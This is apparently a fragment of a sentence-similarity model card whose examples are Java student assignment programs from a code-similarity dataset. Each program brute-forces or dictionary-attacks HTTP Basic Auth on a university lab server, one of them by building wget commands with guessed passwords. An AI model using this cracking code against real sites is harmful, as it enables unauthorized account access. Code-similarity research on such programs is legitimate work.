        client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);
        client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, "http");
        GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);


		

		count = 0;

		for (int f = 0; f < 52; f++) {

			firstLetterIndex = f;

			password = cValidChars[firstLetterIndex];
			System.out.println("Count: "+ count + " First Index: "+ firstLetterIndex+ " password: "+ password);

	        client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));
	        client.executeMethod(getMethod);
	        statusLine = getMethod.getStatusLine().toString();


			if (statusLine.compareTo("HTTP/1.1 200 OK") == 0) {
				System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password);
				System.exit(0);
			}
	    }


		
		count = 0;

		for (int g = 0; g < 52; g++) {

			firstLetterIndex = g;

			for (int h = 0; h < 52; h++) {

			secondLetterIndex = h;

			password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex];

				System.out.println("Count: "+ count+ " First Index: "+ firstLetterIndex+ " Second Index: "+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ " password: "+ password);

		        client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));

				++count;

				divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;


				if (divValue == 0) {

					System.out.println("Count: "+ count+ " Div Value: "+ divValue + " Releasing the connection and getting new one");
					getMethod.releaseConnection();
					getMethod = null;
					getMethod = new GetMethod(GET_METHOD_HACKER);

				}

		        client.executeMethod(getMethod);

		        statusLine = getMethod.getStatusLine().toString();
				System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password);

				if (statusLine.compareTo("HTTP/1.1 200 OK") == 0) {
					System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password);

					System.exit(0);
				}
		    }

		}

		
		

		getMethod.releaseConnection();
		getMethod = null;
		getMethod = new GetMethod(GET_METHOD_HACKER);

		count = 0;
		for (int i = 0; i < 52; i++) {

			firstLetterIndex = i;

			for (int j = 0; j < 52; j++) {

				secondLetterIndex = j;

				for (int k = 0; k < 52; k++) {

					thirdLetterIndex = k;

					password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex];
					System.out.println("Count: "+ count+ " First Index: "+ firstLetterIndex+ " Second Index: "+ secondLetterIndex+ " Third Index: "+ thirdLetterIndex+ "  "+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ " password: "+ password);

			        client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));

					++count;

					divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;


					if (divValue == 0) {

						System.out.println("Count: "+ count+ " Div Value: "+ divValue+ " Releasing the connection and getting new one");
						getMethod.releaseConnection();
						getMethod = null;
						getMethod = new GetMethod(GET_METHOD_HACKER);

					}

			        client.executeMethod(getMethod);
			        statusLine = getMethod.getStatusLine().toString();

					if (statusLine.compareTo("HTTP/1.1 200 OK") == 0) {
						System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password);
						System.exit(0);
					}
			    }
			}
		}
    }
}
, import java.net.*;
import java.io.*;
import java.util.*;

public class Dictionary {

   public static void main(String[] args) {
      new CrackAttempt();
   }
}

class CrackAttempt {
   public CrackAttempt() {
      final int MAX_LENGTH = 3;
      boolean auth = false;
      Date  = new Date();
      String file = "/usr/share/lib/dict/words";
      String word;
      char[] password = new char[MAX_LENGTH];
      String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";

      while (!auth) {
         
         BufferedReader in = null;
         try {
            
            in = new BufferedReader(new FileReader(file));
            while ((word = in.readLine()) != null && !auth) {
               try {
                  if (word.length() <= MAX_LENGTH) {
                     password = word.toCharArray();
                     
                     Authenticator.setDefault(new CrackAuth(password));
                     URL url = new URL(resource);
                     HttpURLConnection conn = (HttpURLConnection)url.openConnection();
                     conn.setRequestMethod("HEAD");
                     if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
                        System.out.println("cracked with " + new String(password));
                        auth = true;
                     }
                  }
               } catch (Exception e) {
                  System.out.println(" was  exception: " + e.getMessage());
               }
            }

         
         } catch (FileNotFoundException fnfe) {
            System.out.println("File Not Found");
         } catch (IOException ioe) {
            System.out.println("IOException");
         } catch(Exception e) {
            e.printStackTrace();
         } finally {
            try {
               in.close();
            } catch (Exception e) {;}
         }


      }
      if (!auth) {
         System.out.println("Unable  determine password");
      } else {
          time = (new Date()).getTime() - start.getTime();
         System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
      }
   }
}

class CrackAuth extends Authenticator {
   char[] password;
   public CrackAuth(char[] password) {
      this.password = password;
   }

   protected PasswordAuthentication getPasswordAuthentication()
   {
      String user = "";
      return new PasswordAuthentication(user, password);
   }
}
, source_sentence: 

import java.net.*;
import java.io.*;

public class Base64Encoder
{
   private final static char base64Array [] = {
          'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
          'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
          'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
          'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
          'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
          'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
          'w', 'x', 'y', 'z', '0', '1', '2', '3',
          '4', '5', '6', '7', '8', '9', '+', '/'
     };

   public static String encode (String string)
   {
      String encodedString = "";
      byte bytes [] = string.getBytes ();
      int i = 0;
      int pad = 0;
      while (i < bytes.length)
      {
         byte b1 = bytes [i++];
         byte b2;
         byte b3;
         if (i >= bytes.length)
         {
            b2 = 0;
            b3 = 0;
            pad = 2;
         }
         else
         {
            b2 = bytes [i++];
            if (i >= bytes.length)
            {
               b3 = 0;
               pad = 1;
            }
            else
               b3 = bytes [i++];
         }

         byte c1 = (byte)(b1 >> 2);
         byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
         byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
         byte c4 = (byte)(b3 & 0x3f);
         encodedString += base64Array [c1];
         encodedString += base64Array [c2];
         switch (pad)
         {
            case 0:
               encodedString += base64Array [c3];
               encodedString += base64Array [c4];
               break;
            case 1:
               encodedString += base64Array [c3];
               encodedString += "=";
               break;
            case 2:
               encodedString += "==";
               break;
         }
      }
      return encodedString;
   }
}

sentences: 
import java.net.*; 
import java.io.*; 
public class BruteForce {
private static String password="   "; 

   
  public static void main(String[] args) {
	   String Result=""; 
	  if (args.length<1)
			 {
			   System.out.println("Error:  Correct Format Filename, username e.g<>"); 
				System.exit(1);	
			 }
			 BruteForce bruteForce1 = new BruteForce();
			  Result=bruteForce1.Password("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); 
			  System.out.println("The Password of   "+args[0]+"is.."+Result);  
			  
		  }



 private String Password(String urlString,String username) 
 { 
 int cnt=0;
 
 t0 = System.currentTimeMillis();  
  for ( char ch = 'A';  ch <= 'z';  ch++ )
  { 
						 if (ch>'Z' && ch<'a')
						 { 
						   ch='a'; 
						 } 
				
				for ( char ch1 = 'A';  ch1 <= 'z';  ch1++ )
				 { 
					  
						if (ch1>'Z' && ch1<'a')
						 { 
						   ch1='a'; 
						 }


					 for ( char ch2 = 'A';  ch2 <= 'z';  ch2++ )
						 { 
							if (ch2>'Z' && ch2<'a')
						 { 
						   ch2='a'; 
						 }
							password=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);
								System.out.print("crackin...:"); 
					           	System.out.print("\b\b\b\b\b\b\b\b\b\b\b" ); 
						try
						{
					
				
				
				URL url = new URL (urlString);
				String userPassword=username+":"+password;  

       
		   String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
			 URLConnection conc= url.openConnection();  
					   conc.setRequestProperty  ("Authorization", " " + encoding);			   
					   conc.connect();  
						cnt++;
					   if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK"))
						 {
							 t1 = System.currentTimeMillis();  
							 net=t1-t0;                                    
							System.out.println("The Number of Attempts "+cnt); 
							System.out.println("Total Time Taken in secs"+net/1000); 
							return password;  
						}
					
				}

		      	catch (Exception e )
				{
				  e.printStackTrace();   

				}

			
		     
		  
		  }
		  



         
                         
	    }  
        
  
	} 
        return "Password could not  found";  

 }


}, import java.net.*;
import java.io.*;
import java.*;

 public class BruteForce {

   URLConnection conn = null;
   private static boolean status = false;

   public static void main (String args[]){
     BruteForce a = new BruteForce();
     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
     				 "",
     				 ""};
     int attempts = 0;
     exit:
     for (int i=0;i<pwdArray.length;i++) {
		 for (int j=0;j<pwdArray.length;j++) {
			 for (int k=0;k<pwdArray.length;k++) {
				 if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
				 if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
				 inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
				 attempts++;
     			 a.doit(inp);
  
  				 if (status) {
					 System.out.println("Crrect password is: " + inp[2]);
					 System.out.println("Number of attempts = " + attempts);
					 break exit;
			 	 }
     			 inp[2] = "";
		 	 }
	 	 }
      }
     }

   public void doit(String args[]) {
     
     try {
       BufferedReader in = new BufferedReader(
           new InputStreamReader
              (connectURL(new URL(args[0]), args[1], args[2])));
       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           status = true;
           }
       }
     catch (IOException e) {
   
       }
     }

   public InputStream connectURL (URL url, String uname, String pword)
        throws IOException  {
     conn = url.openConnection();
     conn.setRequestProperty ("Authorization",
     userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }

   public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

   private final static char pwdArray [] = {
	        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
	        'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
	        'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
	        'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
	        'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
	        'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
	        'W', 'X', 'Y', 'Z', ' '
  };

   private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

   private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
        case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }

, 
import java.io.*;
import java.awt.*;
import java.net.*;

public class BruteForce
{
	public static void main (String[] args)
	{
		String pw = new String();
		pw = getPassword ();
		System.out.println("Password is: "+pw);
	}
	public static String getPassword()
	{
		String passWord = new String();
		passWord = "AAA";
		char[] guess = passWord.toCharArray();
		Process pro = null;
		Runtime runtime = Runtime.getRuntime();
		BufferedReader in = null;
		String str=null;
		boolean found = true;

		System.out.println(" attacking.....");
		for (int i=65;i<=122 ;i++ )
		{
			guess[0]=(char)(i);
            for (int j=65;j<=122 ;j++ )
			{
				guess[1]=(char)(j);
                for (int k=65 ;k<=122 ;k++ )
				{
					guess[2]=(char)(k);
					passWord = new String(guess);
					String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";
					try
					{
						pro = runtime.exec(cmd);

						in = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
						found = true;
						if((str=in.readLine())!=null)
						{
							while ((str=in.readLine())!=null)
							{
								if (str.endsWith("Required"))
								{
									found = false;
								}
							}
							if (found == true)
							{
								return passWord;
							}
						}
					}
					catch (Exception exception)
					{
					    exception.getMessage();
					}
					if(k==90)
						k=96;
					runtime.gc();
				}
				if(j==90)
					j=96;
			}
			if(i==90)
				i=96;
		}
		return "not found";
	}
}
datasets: buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 0 | All-time downloads: 21
Created: 2025-09-23 16:37:33